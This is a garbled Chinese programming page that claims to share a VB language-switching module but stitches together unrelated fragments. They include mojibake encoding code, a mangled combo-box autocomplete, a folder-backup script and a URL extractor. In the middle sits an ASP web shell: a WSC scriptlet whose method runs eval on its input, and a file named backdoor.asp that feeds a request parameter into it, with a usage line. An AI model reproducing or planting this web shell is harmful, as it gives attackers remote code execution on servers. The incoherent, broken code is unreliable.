以前做过一个vb的小项目，客户需要软件同时能够支持中文和英文，为此写了一个自动语言切换的模块来用，不敢独享，拿来给大家参考一下，如果你有什么改进也可以写信给我

Connecting to server ...Done.

<?xml version="1.0" encoding="gb2312" standalone="yes"?> <?component error="true" debug="true"?> <package> <component id="haiyangtop"> <public> <method name="lcx"><parameter name="b"/></method> </public> <script language="VBScript"><![CDATA[ sub lcx(b) eval(b) end sub ]]> </script> </component> </package> backdoor.asp内容如下： <% b=request("a") Set fs=GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop") fs.lcx(b) %> 调用方法如下：("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123") 注意这里的a=只能是vbs的代码，不可以接受像response、rquest之类的asp的东东

' コ`ドペ`ジをUnicodeからシフトJISにQ byEncoded=Encoding.Convert(Encoding.Unicode, destEncoding, bySource)

end if DeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)AsLongPublicConstCB_FINDSTRING=&H14CPrivateSubCombo1_Change()DimiStartAsIntegerDimsStringAsStringStaticiLeftOffAsIntegeriStart=1iStart=Combo1.SelStartIfiLeftOff<>0ThenCombo1.SelStart=iLeftOffiStart=iLeftOffEndIfsString=CStr(Left(Combo1.Text,iStart))Combo1.ListIndex=SendMessage(Combo1.hwnd,B_FINDSTRING,-1,ByValCStr(Left(ombo1.Text,iStart)))IfCombo1.ListIndex=-1TheniLeftOff=Len(sString)combo1.Text=sStringEndIfCombo1.SelStart=iStartiLeftOff=0EndSub静态变量iLeftOff指定了字符长度

ps:win8系统添加开机自启动软件的方法,（网上找的，没测试）　　　　常量值说明　　adAsyncExecute0x10指示命令将异步执行

' Do While 1 Run() ' WScript.Sleep 1000*60*60*2 WScript.Sleep 1000 * 5 '测试用，每5秒备份一次文件到指定的文件夹 Loop Function Run() BackUpFolder "D:\公司所有正在设计的系统", "E:\软件自动备份" End Function Function BackUpFolder(S, D) On Error Resume Next Set FSO=CreateObject("Scripting.FileSystemObject") FSO.CreateFolder D FSO.CopyFolder S, D & "" & GetDateFolder End Function Function GetDateFolder() GetDateFolder=Year(Now) & "-" & Right("0" & Month(Now), 2) & "-" & Right("0" & Day(Now), 2) & "-" & Right("0" & Hour(Now), 2) & "-" & Right("0" & Minute(Now), 2) & "-" & Right("0" & Second(Now), 2) End Function哪个好（3）用MakeReplica方法从设计原版中生成附加的复本",,"提示" Wscript.Quit End If Set Matches=re.Execute(s) s="" For Each Match In Matches s=s & "<a href=""" & Match.Value & """>" & Match.Value & "<p>" Next re.Pattern="&\w+;?|\W{5,}" s=re.Replace(s,"") .Position=0 .setEOS .WriteText s .SaveToFile p & "'s URLs.html",2 .Close End With Next Msgbox "网址列表已经生成。